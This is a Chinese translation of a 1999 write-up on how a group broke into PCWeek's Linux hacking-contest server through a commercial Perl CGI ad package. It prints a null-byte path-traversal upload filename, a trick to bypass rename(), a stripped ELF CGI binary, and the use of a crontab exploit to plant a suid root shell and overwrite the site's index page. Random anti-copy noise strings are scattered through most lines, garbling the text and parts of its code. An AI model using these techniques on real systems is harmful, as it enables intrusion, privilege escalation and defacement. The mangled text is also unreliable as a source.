JFS侵入PCWEEK-LINUX主機的詳細過程

譯者注：PCWeek-Linux 主機是著名電腦雜志 PCWeek 為了測試 WEB 服務器 IIS（NT平臺）
' v  u# @: q) D$ k- ~% b6 A和 Apache（Linux平臺）的安全性，提供給黑客/駭客攻擊的兩臺主機之一。另一臺主機安裝
) @* E8 i3 M7 W的是 IIS（NT平臺）。詳細情況請訪問網(wǎng)站：http://www.hackpcweek.com/。
& w: C& s6 X( l0 m" X$ ~) g3 g% P( ]
8 F6 ^6 j6 K5 j; E" U& j- Y$ [/ `9 y
# c5 U5 l/ ]' p  B9 L首先要進行的當然是——收集遠端主機信息：打開的端口和提供的網(wǎng)絡服務等。經(jīng)過掃
描后發(fā)現(xiàn)大多數(shù)端口都被過濾掉了，原因可能是安裝了防火墻或設置了 TCP-Wrapper 。所
6 `3 e2 j) M- X# r) I以我們只能從 HTTP 服務器著手了。
6 W' q# i( ]; i' v  [1 W
lemming:~# telnet securelinux.hackpcweek.com 80
, f; F/ k2 r5 M0 E1 HTrying 208.184.64.170...
! ~/ s$ B2 W3 H: W1 F) R, AConnected to securelinux.hackpcweek.com.
( q' [" R, Q% }Escape character is '^]'.
POST X HTTP/1.0
9 V. U( g6 M( e: D2 M2 D0 Q! Z9 k- q
$ K+ [$ Y. e0 {8 F, pHTTP/1.1 400 Bad Request
6 s! R( x; }6 N6 `2 ^, XDate: Fri, 24 Sep 1999 23:42:15 GMT
2 A3 _8 i9 U  D* e& w5 yServer: Apache/1.3.6 (Unix) (Red Hat/Linux)
(...)
0 @; T( t% H0 J  n7 C# z9 rConnection closed by foreign host.
lemming:~#
$ W2 X# m5 Z3 R$ l
嗯，服務器操作系統(tǒng)是 Red Hat，WEB服務器是 Apache/1.3.6。從網(wǎng)頁上可知服務器安
# k8 |6 S3 u7 y) Z2 U- X3 N( Z裝了 mod_perl，但只有一個 fingerprint 功能，對我們沒有什么用處。
. G% H6 _5 r( @7 Q1 B5 SApache 1.3.6 本身沒有包含任何可供遠端用戶使用的CGI程序，但我們不清楚Red Hat
的發(fā)行版本中是否有，所以我們進行了一些測試（test-cgi, wwwboard, count.cgi等）。
結果令人失望。于是我們嘗試找出網(wǎng)站的結構。經(jīng)過對該網(wǎng)站HTML頁的分析，終于找出
& |) [. v  z5 w6 O+ s了網(wǎng)站DocumentRoot下的目錄結構：

/
+ u" G6 J0 l: h& ~2 J/cgi-bin
4 F9 \  J2 s( W2 P" Y9 U" t/photoads/
/photoads/cgi-bin
% `& d# i; L9 {0 e7 o- T
4 ^: F3 ^- t/ e6 i  n/ S很自然地，我們的眼光落在 photoads 這個安裝模塊上。該商用CGI包可在"http://
www.hoffoce.com"找到，價格為$149，包括供檢查和修改用的PERL源代碼。
* Q- n7 d" i' f9 B$ Y) _6 L, l" a我們找到一個朋友，了解和掌握 photoads 在 Linux 平臺上的安裝情況，從而大致清楚
; V2 U$ C3 b% L6 Y5 c運行在該主機上的 photoads。
檢查了缺省安裝的文件后，我們發(fā)現(xiàn)可以取得所有用戶名及其口令的數(shù)據(jù)庫（http://
- m3 c6 H7 q9 D" j  Jsecurelinux.hackpcweek.com/photoads/ads_data.pl），但當我們試圖訪問配置文件
/photoads/cgi-bin/photo_cfg.pl 時，服務器的設置拒絕了這個請求。
通過 /photoads/cgi-bin/env.cgi，我們可以知道該服務器的許多詳細情況，如
DocumentRoot 在文件系統(tǒng)的位置（/home/httpd/html），運行 Apache 服務器的用戶（
nobody）等。
0 v1 m8 O- q$ e  u, {, J8 ^7 i現(xiàn)在，開始尋找漏洞的第一步，我們嘗試尋找是否存在 SSI 或 mod_perl 嵌入 HTML
命令的漏洞，如：

<!--#include file="..."--> for SSI
<!--#perl ...--> for mod_perl
" V% T$ E/ T0 g6 k+ d; ^2 A
但腳本中的匹配表達式卻在許多輸入域上過濾此類輸入。不過與此同時我們卻發(fā)現(xiàn)有一
個用戶賦值的變量在轉換成 HTML 代碼前，并沒有檢查其值的合法性。我們可以通過它將命
令嵌入到由服務器端解析的 HTML 代碼中：

3 c2 D, l9 f: q4 \# K* w在 post.cgi，行 36：
% e  y* T8 N% Y- Rprint "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}\n";

$ENV{'HTTP_REFERER'}是一個用戶賦值的變量，我們可以通過它將任何 HTML 嵌入到代
碼中。
' h& \; H, S8 J' O( j6 ?請閱讀我們提供的文件 getit.ssi 和 getit.mod_perl。
. {# I. O! C' T3 [+ O2 o在命令行下使用這些文件如下：
" c- L0 y9 C% [0 V
# J- r% k" C: z9 plemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80
3 t) B3 ?6 T/ F
9 `/ K4 c% X2 j但不幸的是，該主機的配置并不允許 SSI 或 mod_perl，所以我們無法利用這個方法侵
入系統(tǒng)。

& l: J9 l7 \7 C! P% l, B  P因此我們決定在CGI腳本中尋找缺口。在PERL腳本中許多漏洞往往出現(xiàn)在 open()、
* E4 N8 m/ t1 ^+ f" @system() 或 `` 等調(diào)用中，前一個允許讀/寫/執(zhí)行，而后兩個允許執(zhí)行。
/ |# F; D1 _, y% T: d- j雖然在該主機找不到后兩種調(diào)用，但我們卻發(fā)現(xiàn)了一些 open() 調(diào)用：

lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more
4 E! v( G% p1 }# ]
1 M& j. Q. C1 Z$ Z% oadvisory.cgi: open (DATA, "$BaseDir/$DataFile");
: W% u3 i  y3 ^  Eedit.cgi: open (DATA, ">$BaseDir/$DataFile");
1 b- o2 d  ~* Z5 j/ @edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
photo.cgi: open ( FILE, $filename );
(...)
# u1 G: ]8 [. W) H' {. g: W  \
6 s( T; N" z' d( V/ J+ _$BaseDir 和 $DataFile 兩個變量是在配置文件中定義，且不能在運行時修改，無法被
我們利用。
但其余兩個就……

3 E! r5 V8 E; k8 E% e在 photo.cgi，行 132：
$write_file = $Upload_Dir.$filename;
* F6 [0 k& H0 R' n2 p  a% u
open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
print ULFD $UPLOAD{'FILE_CONTENT'};
close(ULFD);
3 G& U* n6 M- q8 G/ Z( x6 {/ L
因此，如果我們可以修改 $write_file 變量，就可以寫文件系統(tǒng)中的任何文件。
$write_file 變量來自：
' W0 C4 m9 E2 E8 D6 `7 @# J  t
. O9 t4 z+ L$ T$write_file = $Upload_Dir.$filename;
" L8 l# i) N" p, N* ]0 K( f
6 {+ ~& S6 v% |5 @2 H其中，$Upload_Dir 在配置文件中定義，我們無法修改，但 $filename 變量又如何呢？

. R: D9 b3 B9 L+ a6 H1 \' v在 photo.cgi，行 226：
4 k0 \. i6 R6 M) `* G- tif( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }

$filename = lc($UPLOAD{'FILE_NAME'});
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
, T. J: A' V) r3 M, z
if ($filename =~ m/gif/) {
8 a. m. z6 [8 A7 o4 l% H* a$type = '.gif';
1 a+ u% A4 H8 R8 P$ n6 v- r" @}elsif ($filename =~ m/jpg/) {
# u6 o2 ?9 D/ S  w) h8 D5 w$type = '.jpg';
}else{
3 N7 e; F& S! E{&Not_Valid_Image}
}
, O( A4 @" a+ V$ d5 c. L/ g
由此可知，該變量來自從提交表格的變量組分解出來的 $UPLOAD{'FILE_NAME'}，而且必
須經(jīng)過匹配表達式過濾，因此我們不能用"../../../../../../../../etc/passwd"格式來取
$ S: ~1 f* W$ L, \$ o得任何文件。匹配表達式為：
) B1 c+ J* d9 C1 S* X# x; U
% q$ S0 n7 N+ j: p' j$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
/ |  H- J( S8 z9 O. R
: D9 C+ _3 Y2 X" w5 q我們看到，如 $filename 與該表達式匹配，則返回ASCII碼1（SOH）。同時，變量還必
/ Y, c( H( W1 K6 d須包含"gif"或"jpg"，以通過 Not_Valid_Image 過濾器。
經(jīng)過多次嘗試，以及從 Phrack 的關于PERL CGI安全性文章的幫助，我們發(fā)現(xiàn)以下格式
7 r' l) x8 z( N, a# G, c
/jfs/\../../../../../../../export/www/htdocs/index.html%00.gif

可以成功修改WEB服務器根目錄下的index.html文件。:-)
" Q& Y2 ^' u3 J* E& n8 `; x" |/ f然而，為了上載文件，我們?nèi)皂毨@過更多的腳本代碼。我們發(fā)現(xiàn)無法通過POST方法發(fā)送
包含上述內(nèi)容的表格（無法轉換%00），唯一的方法只能是GET。
* h' u9 d2 d- C( k& R! V在 photo.cgi ，行 256，會檢查被上載文件的內(nèi)容是否符合圖像定義（寬/長/大?。?font class="jammer">$ p1 ]2 L6 C9 a! @* z
（記住，photo.cgi 是被當作某個AD上載圖像的一個方法）。如果不符合這些細節(jié)，腳本將
8 O7 H  }+ `1 X: n9 U/ o+ ^刪除該上載文件。這當然不是我們所希望的！
PCWeek 網(wǎng)站配置文件將 Imagesize 設為 0，所以我們可以忽略該腳本中有關JPG部分，
而將主要精力集中在GIF上。

$ C/ p! T  k' ?# Z/ I1 h+ M1 Oif ( substr ( $filename, -4, 4 ) eq ".gif" ) {
; K% F: e! q' E6 Xopen ( FILE, $filename );
% j) ~: b- H% `my $head;
my $gHeadFmt = "A6vvb8CC";
my $pictDescFmt = "vvvvb8";
9 p) s& u% Y7 [) i8 }read FILE, $head, 13;
% u( N$ j- }+ Q: }- u(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHeadFmt, $head;
& C3 @. k. O: O: [1 H  hclose FILE;
$PhotoWidth = $width;
0 D8 h! k+ B: x- @  d7 D. L$PhotoHeight = $height;
; Y) g! ]) V+ T$PhotoSize = $size;
return;
}

/ G9 f% E; H8 ?$ e; m* Q# l  J9 }. e在 photo.cgi，行 140：

if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
7 g/ |8 L  i/ p3 j{&Not_Valid_Image}
9 c8 n3 U" y- B3 @, D}
. w2 p6 Z" u8 b  C2 L& ?: z
& c; b# y; Y( q* T% lif ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
{&Height_Width}
" t9 T' u0 Z; D' R( i" u}
0 D- f4 W7 d8 Q$ ~5 y' T# k
由上可知，$PhotoWidth不能大于700，不能為空，且不能大于 $ImgWidth（缺省為350）
。
1 m; i4 k7 f) j所以我們使 $PhotoWidth!="" 且 $Photowidth<350 即可。
3 I# Q! O$ Q: B1 m對于 $PhotoHeight，則必須小于 $ImgHeight（缺省為250）。
5 t$ a' W+ _# Y! A& _3 `/ y, w% z綜合以上要求，我們可以得到一個可以使用的數(shù)據(jù)：$PhotoWidth==$PhotoHeight==0。
研究提取該值的腳本后，我們唯一要做的就是將文件的第6至第9字節(jié)的值置為 ASCII 碼 0
9 j  ?3 l) _3 U5 w: W% V; T( ~（NUL）。
在確保 FILE_CONTENT（文件內(nèi)容）符合以上所有要求后，我們又在以下代碼遇到了另一
2 ~( s! i6 U7 o. b! e0 `6 P* k9 Q個問題：

3 v9 ~; ?6 l1 Z# vchmod 0755, $Upload_Dir.$filename;
$newname = $AdNum;
rename("$write_file", "$Upload_Dir/$newname");

Show_Upload_Success($write_file);
% r* C1 Q  d: I3 o9 t% v$ {
5 S  E7 E0 x3 {- o哇！文件將被改名/移動（這可是我們絕對不希望的?。?。
8 E. z. H6 f! g* c8 B+ U7 K, F查找 $AdNum 變量的最終處理過程，我們發(fā)現(xiàn)它只能包含數(shù)字：
8 Y" H4 R# p6 @9 j  `
2 R( H0 h7 V9 n5 b, s$UPLOAD{'AdNum'} =~ tr/0-9//cd;
$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$AdNum = $UPLOAD{'AdNum'};
5 V9 i) l- P  r: S+ t
其余的字符將被刪除。因此我們不能直接應用"../../../"這種方法。
那么，應該怎樣做呢？我們看到 rename() 函數(shù)需要兩個參數(shù)：舊的路徑和新的路徑。
* F( ]& J$ o& Q- F# b/ u# w哈哈，在函數(shù)過程中沒有錯誤檢查！當函數(shù)出錯后將跳到下一行繼續(xù)執(zhí)行！那么如何才能使
該函數(shù)失敗呢？Linux 內(nèi)核對文件名長度限制為1024字節(jié)。因此如能使腳本將文件改名時新
文件名超過1024字節(jié)長，即可繞過這個過濾器。
所以，下一步就是要向系統(tǒng)傳遞一個大約1024字節(jié)長的AD號碼。但由于腳本僅允許我們
發(fā)送對應AD號碼已存在的圖片，而且由系統(tǒng)產(chǎn)生一個10^1024（10的1024次冪，即小數(shù)點前有
1024個數(shù)字——backend注）的AD號碼要花的時間對我們來說似乎太長了。;-)
我們又遇到另一個難題了！……

我們發(fā)現(xiàn)輸入錯誤檢查函數(shù)可以幫助我們創(chuàng)建一個指定的AD號碼！瀏覽 edit.cgi 腳本
后，你也許就會想到：如果輸入是一個文件名+回車符+一個1024位的數(shù)字，會產(chǎn)生什么結果
呢？;-)
請閱讀用于創(chuàng)建新AD值的程序文件 long.adnum。
當成功繞過 $AdNum 的檢查后，我們就可以讓腳本創(chuàng)建/覆蓋用戶 nobody 有權寫的任何
文件，其中包含了我們所希望的東西（GIF頭部的NUL除外）。
' u7 k+ f+ d2 v" k% s
; L5 v9 {1 H# m  s% H6 k( v+ i現(xiàn)在就讓我們對該主機試一試這個方法。
) n7 r: S+ u2 S1 s嗯，so far so good（一切順利）。但當我們試圖讓腳本改寫 index.html 文件時無法
" e6 D" e1 X  a  Z成功。:( 其中的原因可能是沒有覆蓋該文件的權限（該文件由root擁有）。


讓我們試一下是否還有其它入侵方法……
  y5 C+ J" ?' Z3 M: T
我們決定嘗試修改CGI程序，以使其按我們的意愿運行:)。這種方法還可以讓我們搜尋那
' g4 ^2 S/ P8 S! C9 ]7 f7 e些“絕密”文件，然后拿出動賣。:)
  K# n% a3 N+ D- u我們修改了“覆蓋”腳本，并讓其成功地覆蓋了一個CGI！:) 為了不覆蓋那些較為重要
的CGI（這是提高隱蔽性的聰明法子——backend注），最后我們選擇了 advisory.cgi（你知
道它有什么用嗎？:)）
) q5 I! o' s. V" [* z6 m現(xiàn)在，我們將要上載一個shell腳本，以便我們可以執(zhí)行一些命令。呵呵
% [) ?+ C- d  E( {, l然而，這個以CGI方式運行的shell腳本必須符合以下格式：
& d1 P' ?7 g# ^( J* _8 s! E
#!/bin/sh
echo "Content-type: text/html"
8 L$ j* M; @0 F& bfind / "*secret*" -print

同時要記得，第6至第9字節(jié)必須為0或很小的值，以符合上面提及的大小定義……

#!/bi\00\00\00\00n/sh

5 H0 [* H. N% C* C+ O. {& Z以上這種方法是行不通的，內(nèi)核只會讀取前5個字節(jié)（#!/bi）內(nèi)容并執(zhí)行。在該主機中
我們無法只用三個字節(jié)去獲得一個shell。又遇到難題了！:(

* P8 I% ^7 M7 _- s# _% Z) o讓我們看一下ELF（Linux缺省可執(zhí)行類型）二進制文件格式，就會發(fā)現(xiàn)那些位置字節(jié)的
內(nèi)容均為0x00。:) Yohoo :)
8 W+ ?$ Q$ h8 ]$ G" R$ |解決了這個問題后，現(xiàn)在我們需要將這個ELF可執(zhí)行文件上載到遠端服務器中。注意，文
件內(nèi)容必須經(jīng)過編碼，因為我們已知道只能通過GET方法上載，而不是POST。因此還要考慮到
URI的最大長度。Apache 服務器上URI最大長度設為8190字節(jié)。別忘了，我們還有一個很長的
2 u  @* ^2 ^, a9 Q6 \3 G$ Y' ]- F1024字節(jié)的AD號碼，所以經(jīng)編碼后的ELF文件長度限制為大約7000字節(jié)。
$ s& p' ]% p( I
以下這個程序：

lemming:~/pcweek/hack/POST# cat fin.c
8 J. U3 U% n3 k& e#include <stdio.h>
+ z  f$ v7 \6 pmain()
{
printf("Content-type: text/html\n\n\r");
- g% X% Z- v( b& T! Z! sfflush(stdout);
: N( n1 R$ w! {$ I- L$ D2 j" d$ Uexeclp("/usr/bin/find","find","/",0);
}
- s2 l3 l7 D) D9 p8 }
編譯后：
( p; T% W/ j; Z! z1 P
6 O* _6 `, L! w3 {  Jlemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*
5 c& N  S1 O+ c  H3 P
優(yōu)化（清除symbols）后：

lemming:~/pcweek/hack/POST# strip fin
, e, z5 K% M* u8 @% F) l! Alemming:~/pcweek/hack/POST# ls -l fin
8 c* x+ B" W6 }6 B1 Y$ P6 l-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
3 H8 E5 K7 D- a8 @lemming:~/pcweek/hack/POST#
  U* E' L1 N( x* o: ], `3 {
/ f& ?* ~: [) D0 G$ uURL編碼后：

5 _1 Z5 p/ G' U+ ~2 ]lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
1 M* m/ l6 N: [5 k% t. J$ M' j/ U-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url

這個文件大小超過了限制值。:(
7 D; d* I) M4 o! S" Q我們只能自行編輯二進制文件以盡量減小文件體積。這可不是一件輕松的工作，但卻有
效：

9 t# Y& k" _5 N- G: y- A) Jlemming:~/pcweek/hack/POST# joe fin
lemming:~/pcweek/hack/POST# ls -l fin
; s* T' G& i& r: y# G! M! V3 ?5 o-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
! t" q, ]+ M5 p' L5 wlemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
) ^! L* m" b/ t; p. L1 ?-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
7 G6 ^# x2 w' _9 }- K: r) clemming:~/pcweek/hack/POST#
3 o, R' K+ J2 o( A5 n( Z
請閱讀 get.sec.find文件，還有 to_url 腳本和用來運行一些基本命令的*.c文件。
; \- l, M- g2 p  y1 z8 W5 ^! R" ~
現(xiàn)在，將這個CGI上載到服務器，再用瀏覽器訪問它，如：

; l! }/ B, V5 o1 f& d9 Q( V% Kwget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi
* |5 Z4 y0 E: h' Q+ N' Q
服務器返回的結果相當于在服務器上執(zhí)行 find / 命令。:)
/ c% Y0 {4 d( k  h8 ~但我們在該服務器中找不到任何“絕密”文件，或許是nobody用戶無權訪問的緣故。:(
( Q4 D% F. g! B我們嘗試了更多的命令搜索，如ls等，但仍無法找到它們的蹤影。
9 b: O' U) g" e& B[我懷疑這些文件是否真的保存在該服務器上！]


: [( e+ i" L! _  v5 l& u# U好了，現(xiàn)在是獲取 root 權限的時候了。利用最新發(fā)現(xiàn)的 Red Hat crontab 漏洞就可以
2 H7 W/ e+ D9 f# w$ h9 s' b輕松做到這一點。該漏洞詳情請參閱 Bugtraq 或 securityfocus 上相關文檔。
我們修改了源程序以適應自己的需要，因為我們不需交互式 root shell，而是創(chuàng)建一個
用戶 nobody 可訪問的 suid root shell，如 /tmp/.bs。我們再次上載該CGI，并運行它，
/ I: ]( Z  h0 x0 r  C0 Y3 m觀察其運行結果。
我們制作了執(zhí)行"ls /tmp"命令的CGI，執(zhí)行后確認我們已擁有了一個 suid root shell。
另外，我們還上載了一個文件 /tmp/xx，用于修改 index.html 文件。

execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);
) N' R6 z) v+ B  U: f
好了。游戲結束！:)
& P2 v7 h" l* v總共花費了大約20個小時，還算不錯！呵呵。:)